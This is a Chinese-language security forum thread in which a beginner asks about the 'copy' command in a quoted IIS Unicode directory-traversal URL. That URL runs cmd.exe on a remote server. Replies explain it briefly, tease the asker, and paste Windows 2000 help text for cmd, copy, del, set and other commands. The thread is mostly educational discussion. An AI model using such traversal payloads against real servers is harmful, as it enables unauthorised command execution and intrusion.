|
![]() | 作者: xcl3512 [xcl3512]
![]() |
登录 |
11.11.22.22/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+cmd.exe+c:\a.exe 这里面的copy是什么里面的命令,是DOS吗?有关这方面的在哪里能找到? |
地主 发表时间: 10/09 22:30 |
![]() | 回复: nightcolor [nightcolor] ![]() |
登录 |
调用CMD 复制c:\a.exe 哎 与其给你解释这个不如说说UNICODE 实际上这是一个特殊编码溢出 不同系统有不同的特殊编码 真的希望大家以后研究点有用的 入侵真的很无聊 何况是这么老的东西 |
B1层 发表时间: 10/09 22:59 |
![]() | 回复: magic [buaaytt] ![]() |
登录 |
94 如果连copy是什么都不知道的话而去想什么unicode 实在是…… |
B2层 发表时间: 10/10 00:06 |
![]() | 回复: xmgu [xmgu] ![]() |
登录 |
最经典的dos命令 应该补一补dos了 |
B3层 发表时间: 10/20 00:51 |
![]() | 回复: xiaoxingchi [xiaoxingchi] ![]() |
登录 |
D:\>cmd /? 启动 Windows 2000 命令解释器一个新的实例 CMD [/A | /U] [/Q] [/D] [/E:ON | /E:OFF] [/F:ON | /F:OFF] [/V:ON | /V:OFF] [[/S] [/C | /K] string] /C 执行字符串指定的命令然后终断 /K 执行字符串指定的命令但保留 /S 在 /C 或 /K 后修改字符串处理(见下) /Q 关闭回应 /D 从注册表中停用执行 AutoRun 命令(见下) /A 使向内部管道或文件命令的输出成为 ANSI /U 使向内部管道或文件命令的输出成为 Unicode /T:fg 设置前景/背景颜色(详细信息,请见 COLOR /?) /E:ON 启用命令扩展(见下) /E:OFF 停用命令扩展(见下) /F:ON 启用文件和目录名称完成字符 (见下) /F:OFF 停用文件和目录名称完成字符(见下) /V:ON 将 c 作为定界符启动延缓环境变量扩展。如: /V:ON 会 允许 !var! 在执行时允许 !var! 扩展变量 var。var 语法 在输入时扩展变量,这与在一个 FOR 循环内不同。 /V:OFF 停用延缓的环境扩展。 请注意,如果字符串有引号,可以接受用命令分隔符 '&&' 隔开 请注意,如果字符串有引号,可以接受用命令分隔符 '&&' 隔开 的多个命令。并且,由于兼容原因,/X 与 /E:ON 相同,/Y 与 /E:OFF 相同,并且 /R 与 /C 相同。忽略任何其它命令选项。 如果指定了 /C 或 /K,命令选项后的命令行其余部分将作为命令行处 理;在这种情况下,会使用下列逻辑处理引号字符("): 1. 如果符合下列所有条件,那么在命令行上的引号字符将被 保留: - 不带 /S 命令选项 - 整整两个引号字符 - 在两个引号字符之间没有特殊字符,特殊字符为下列中的 一个: <>()@^| - 在两个引号字符之间有至少一个空白字符 - 在两个引号字符之间有至少一个可执行文件的名称。 2. 否则,老办法是,看第一个字符是否是一个引号字符,如果 是,舍去开头的字符并删除命令行上 的最后一个引号字符, 保留最后一个引号字符之后的文字。 如果 /D 未在命令行上被指定,当 CMD.EXE 开始时,它会寻找 以下 REG_SZ/REG_EXPAND_SZ 注册表变量。如果其中一个或 两个都存在,这两个变量会先被执行。 HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\AutoRun 和/或 HKEY_CURRENT_USER\Software\Microsoft\Command Processor\AutoRun 命令扩展是按默认值启用的。您也可以使用 /E:OFF,为某一 特定调用而停用扩展。您可以在机器上和/或用户登录会话上 启用或停用 CMD.EXE 所有调用的扩展,这要通过设置使用 REGEDT32.EXE 的注册表中的一个或两个 REG_DWORD 值: HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\EnableExtensions 和/或 HKEY_CURRENT_USER\Software\Microsoft\Command Processor\EnableExtensions 到 0x1 或 0x0。 用户特定设置比机器设置有优先权。命令行 命令选项比注册表设置有优先权。 命令行扩展包括对下列命令所做的更改和/或添加: DEL 或 ERASE COLOR CD 或 CHDIR MD 或 MKDIR PROMPT PUSHD POPD SET SETLOCAL ENDLOCAL IF FOR CALL SHIFT GOTO START (同时包括对外部命令调用所做的更改) ASSOC FTYPE 有关详细信息,请键入 HELP 命令名。 延迟变量环境扩展不按默认值启用。您可以用/V:ON或 /V:OFF 命令选项,为 CMD.EXE 的某个调用而启用或停用延迟环境变量扩充。 命令选项,为 CMD.EXE 的某个调用而启用或停用延迟环境变量扩充。 您可以在机器上和/或用户登录会话上启用或停用 CMD.EXE 所有 调用的完成,这要通过设置使用 REGEDT32.EXE 的注册表中的 一个或两个 REG_DWORD 值: HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\DelayedExpansion 和/或 HKEY_CURRENT_USER\Software\Microsoft\Command Processor\DelayedExpansion 到 0x1 或 0x0。 用户特定设置比机器设置有优先权。命令行命令选项 比注册表设置有优先权。 如果延迟环境变量扩充被启用,惊叹号字符可在执行时间,被用来 代替一个环境变量的数值。 文件和目录名完成不按默认值启用。您可以用 /F:ON 或 /F:OFF 命令选项,为 CMD.EXE 的某个调用而启用或停用文件名完成。 您可以 在机器上和/或用户登录会话上启用或停用 CMD.EXE 所有调用的 完成,这要通过设置使用 REGEDT32.EXE 的注册表中的一个或两个 REG_DWORD 值: HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\CompletionChar HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\CompletionChar HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\PathCompletionChar 和/或 HKEY_CURRENT_USER\Software\Microsoft\Command Processor\CompletionChar HKEY_CURRENT_USER\Software\Microsoft\Command Processor\PathCompletionChar 由一个控制字符的十六进制值作为一个特定参数(例如,0x4 是 Ctrl-D,0x6 是 Ctrl-F)。 用户特定设置优先于机器设置。命令行 命令选项优先于注册表设置。 如果完成是用 /F:ON 命令选项启用的,两个要使用的控制符是: 目录名 字完成用 Ctrl-D, 文件名完成用 Ctrl-F。 要停用注册表中的某个 字符,请用空格 (0x20) 的数值,因为此字符不是控制字符。 如果键入两个控制字符中的一个,完成会被调用。完成功能将 路径字符长带到光标的左边,如果没有通配符,将通配符附加 到左边,并建立相符的路径列表。然后,显示第一个相符的路 径。如果没有相符的路径,则发出嘟嘟声,不影响显示。之后, 重复按同一个控制字符会循环显示相符路径的列表。将 Shift 键 跟控制字符同时按下,会倒着显示列表。如果对该行进行了任 何编辑,并再次按下控制字符,保存的相符路径的列表会被丢弃, 新的会被生成。如果在文件和目录名完成之间命令选项,会发生 同样现象。两个控制字符之间的唯一区别是文件完成字符符合 文件和目录名,而目录完成字符只符合目录名。如果文件完成 被用于内置式目录命令(CD, MD 或 RD),就会使用目录完成。 将引号将相符路径括起来,完成代码可以正确处理含有空格 或其它特殊字符的文件名。同时,如果备份,然后从行内调用 文件完成,完成被调用是位于光标右方的文字会被丢弃。 ---------------------------------------------------------------- D:\>type /? 显示文本文件的内容。 TYPE [drive:][path]filename ------------------------------------------------ D:\>dir /? 显示目录中的文件和子目录列表。 DIR [drive:][path][filename] [/A[[:]attributes]] [/B] [/C] [/D] [/L] [/N] [/O[[:]sortorder]] [/P] [/Q] [/S] [/T[[:]timefield]] [/W] [/X] [/4] [drive:][path][filename] 指定要列出的驱动器、目录和/或文件。 /A 显示具有指定属性的文件。 attributes D 目录 R 只读文件 H 隐藏文件 A 准备存档的文件 S 系统文件 - 表示“否”的前缀 /B 使用空格式(没有标题信息或摘要)。 /C 在文件大小中显示千位数分隔符。这是默认值。用 /-C 来 停用分隔符显示。 /D 跟宽式相同,但文件是按栏分类列出的。 /L 用小写。 /N 新的长列表格式,其中文件名在最右边。 /O 用分类顺序列出文件。 sortorder N 按名称(字母顺序) S 按大小 (从小到大) E 按扩展名(字母顺序) D 按日期/时间(从早到晚) G 组目录优先 - 颠倒顺序的前缀 /P 在每个信息屏幕后暂停。 /Q 显示文件所有者。 /S 显示指定目录和所有子目录中的文件。 /T 控制显示或用来分类的时间字符域。 timefield C 创建时间 A 上次访问时间 W 上次写入的时间 /W 用宽列表格式。 /X 显示为非 8dot3 文件名产生的短名称。格式是 /N 的格式, 短名称插在长名称前面。如果没有短名称,在其位置则 显示空白。 /4 用四位数字显示年 可以在 DIRCMD 环境变量中预先设定命令选项。通过添加前缀 - (破折号) 来替代预先设定的命令选项,例如,/-W。 ------------------------------------------------- D:\>copy /? 将一份或多份文件复制到另一个位置。 COPY [/V] [/N] [/Y | /-Y] [/Z] [/A | /B ] source [/A | /B] [+ source [/A | /B] [+ ...]] [destination [/A | /B]] source 指定要复制的文件。 /A 表示一个 ASCII 文本文件。 /B 表示一个二进位文件。 destination 为新文件指定目录和/或文件名称。 /V 验证新文件写得正确。 /N 当复制一份带有非 8dot3 名称的文件, 如果可能的话,使用短文件名。 /Y 取消提示以确认您希望改写 一份现存目录文件。 /-Y 引起提示确认您想改写一份 现存目标文件。 /Z 用可重新启动模式复制已联网的文件。 命令选项 /Y 可以在 COPYCMD 环境变量中预先设定。 这可能会被命令行上的 /-Y 替代。除非 COPY 命令是在一个批文件脚本中执行的,默认应为 在改写时提示。 要附加文件,请为目标指定一个文件,为源指定 数个文件(用通配符或 file1+file2+file3 格式)。 -------------------------------------------------------- D:\>del /? 删除一或数个文件。 DEL [/P] [/F] [/S] [/Q] [/A[[:]attributes]] names ERASE [/P] [/F] [/S] [/Q] [/A[[:]attributes]] names names 指定一个或数个文件或目录列表。通配符可被用来 删除多个文件。如果指定了一个目录,目录中的所有 文件都会被删除。 /P 删除每一个文件之前提示确认信息。 /F 强制删除只读文件。 /S 从所有子目录删除指定文件。 /Q 安静模式。删除全域通配字符时,不要求确认。 /A 根据属性选择要删除的文件。 attributes R 只读文件 S 系统文件 H 隐藏文件 A 存档文件 - 表示“否”的前缀 如果命令扩展名被启用,DEL 和 ERASE 会如下改变: /S 命令选项的显示语法会颠倒,即它只给您显示已经删除的文件,而 不显示找不到的文件。 ----------------------------------------------- D:\>echo /? 显示信息,或将命令响应打开或关上。 ECHO [ON | OFF] ECHO [message] 仅键入 ECHO 而不加参数,可以显示当前的 ECHO 设置。 ----------------------------------------------------- D:\>set /? 显示、设置或删除 cmd.exe 环境变量。 SET [variable=[string]] variable 指定环境变量名称。 string 指定要指派给变量的一系列字符。 仅键入 SET 而不加参数,可以显示当前的环境变量。 如果命令扩展名被启用,SET 会如下改变: 可仅用一个变量激活 SET 命令,等号或值不显示所有前缀匹配 SET 命令已使用的名称的所有变量的值。例如: SET P 会显示所有以字母 P 打头的变量 如果在当前环境中找不到该变量名称, SET 命令将把 ERRORLEVEL 设置成 1。 SET 命令不允许变量名含有等号。 在 SET 命令中添加了两个新替换: SET /A expression SET /P variable=[promptString] /A 命令选项指定等号右边的字符串为被评估的数字表达式。该表达式 评估器很简单并以递减的优先权顺序支持下列操作: () - 分组 * / % - 算数运算符 + - - 算数运算符 << >> - 逻辑移位 - 按位“与” ^ - 按位“异” | - 按位“或” = *= /= %= += -= - 赋值 &= ^= |= <<= >>= , - 表达式分隔符 如果您使用任何逻辑或取余操作符, 您需要将表达式字符串用 引号扩起来。在表达式中的任何非数字字符串键作为环境变量 名称,这些环境变量名称的值已在使用前转换成数字。如果指定 了一个环境变量名称,但未在当前环境中定义,那么值将被定为 零。这使您可以使用环境变量值做计算而不用键入那些 % 符号 来得到它们的值。如果 SET /A 在命令脚本外的命令行执行的, 那么它显示该表达式的最后值。该分配的操作符在分配的操作符 左边需要一个环境变量名称。除十六进制有 0x 前缀, 八进制 有 0 前缀的,数字值为十进位数字。因此, 0x12 与 18 和 022 相同。请注意八进制公式可能很容易搞混: 08 和 09 是无效的数字, 因为 8 和 9 不是有效的八进制位数。 /P 命令选项允许将变量数值设成用户输入的一行输入。读取输入 行之前,显示指定的 promptString。promptString 可以是空的。 环境变量替换已如下增强: %PATH:str1=str2% 会扩展 PATH 环境变量,用 "str2" 代替扩展结果中的每个 "str1"。 要有效地从扩展结果中删除所有的 "str1","str2" 可以是空的。 "str1" 可以以星号打头;在这种情况下,"str1" 会从扩展结果的 开始到 str1 剩余部分第一次出现的地方,都一直保持相配。 也可以为扩展名指定子字符串。 %PATH:~10,5% 会扩展 PATH 环境变量,然后只使用在扩展结果中从第 11 个(偏 移量 10)字符开始的五个字符。如果没有指定长度,则采用默认 值,即变量数值的余数。如果两个数字(偏移量和长度)都是负数, 使用的数字则是环境变量数值长度加上指定的偏移量或长度。 %PATH:~-10% 会抽取 PATH 变量的最后十个字符。 %PATH:~0,-2% 会抽取 PATH 变量的所有字符,除了最后两个。 终于添加了延迟环境变量扩充的支持。该支持总是按默认值被 停用,但也可以通过 CMD.EXE 的 /V 命令行命令选项而被启用/停用。 请参阅 CMD /? 考虑到读取一行文本时所遇到的目前扩充的限制时,延迟环境 变量扩充是很有用的,而不是执行的时候。以下例子说明直接 变量扩充的问题: set VAR=before if "%VAR%" == "before" ( set VAR=after; if "%VAR%" == "after" @echo If you see this, it worked ) 不会显示消息,因为在读到第一个 IF 语句时,BOTH IF 语句中 的 %VAR% 会被代替;原因是: 它包含 IF 的文体,IF 是一个 复合语句。所以,复合语句中的 IF 实际上是在比较 "before" 和 "after",这两者永远不会相等。同样。以下这个例子也不会达到 预期效果: set LIST= for %i in (*) do set LIST=%LIST% %i echo %LIST% 原因是,它不会在目前的目录中建立一个文件列表,而只是将 LIST 变量设成找到的最后一个文件。这也是因为 %LIST% 在 FOR 语句被读取时,只被扩充了一次;而且,那时的 LIST 变量 是空的。因此,我们真正执行的 FOR 循环是: for %i in (*) do set LIST= %i 这个循环继续将 LIST 设成找到的最后一个文件。 延迟环境变量扩充允许您使用一个不同的字符(惊叹号)在执行 时间扩充环境变量。如果延迟的变量扩充被启用,可以将上面 例子写成以下所示,以达到预期效果: set VAR=before if "%VAR%" == "before" ( set VAR=after if "!VAR!" == "after" @echo If you see this, it worked ) set LIST= for %i in (*) do set LIST=!LIST! %i echo %LIST% 如果命令扩展名被启用,有几个动态环境变量可以被扩展,但 不会出现在 SET 显示的变量列表中。每次变量数值被扩展时, 这些变量数值都会被动态计算。如果用户用这些名称中任何 一个定义变量,那个定义会替代下面描述的动态定义: %CD% - 扩展到当前目录字符串。 %DATE% - 用跟 DATE 命令同样的格式扩展到当前日期。 %TIME% - 用跟 TIME 命令同样的格式扩展到当前时间。 %RANDOM% - 扩展到 0 和 32767 之间的任意十进制数字。 %ERRORLEVEL% - 扩展到当前 ERRORLEVEL 数值。 %CMDEXTVERSION% - 扩展到当前命令处理器扩展名版本号。 %CMDCMDLINE% - 扩展到调用命令处理器的原始命令行。 |
B4层 发表时间: 10/20 03:14 |
![]() | 回复: cooltl [cooltl] ![]() |
登录 |
天啊!我要学到什么时候才能学会啊!你们都是怎么学的? |
B5层 发表时间: 10/20 22:18 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号